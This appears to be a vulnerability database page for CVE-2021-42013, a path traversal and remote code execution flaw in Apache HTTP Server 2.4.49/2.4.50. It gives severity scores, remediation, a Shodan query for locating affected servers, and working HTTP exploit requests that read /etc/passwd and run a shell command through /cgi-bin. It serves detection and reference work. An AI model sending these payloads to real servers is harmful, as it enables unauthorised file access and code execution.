🔙 목록으로 돌아가기

CVE-2021-42013: Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution

TitleApache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
Authornvn1729,0xd0ff9,666asd
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code and gain unauthorized access to sensitive information.
RemediationUpgrade to Apache HTTP Server 2.4.51 or later.
CVSS Score9.8
EPSS Score0.9441
CVE IDCVE-2021-42013
CWE IDCWE-22
Shodan Querycpe:"cpe:2.3:a:apache:http_server"apache 2.4.49
Tags cve2021 cve lfi apache rce misconfig traversal kev vkev vuln

🔍 Vulnerability Description

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by “require all denied” these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.

🌐 HTTP Request

GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: www.victim.com
Origin: http://www.victim.com
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: www.victim.com
Origin: http://www.victim.com
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: www.victim.com
Origin: http://www.victim.com
Content-Type: application/x-www-form-urlencoded

echo Content-Type: text/plain; echo; echo 31024-1202-EVC | rev

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42013.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-42013.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A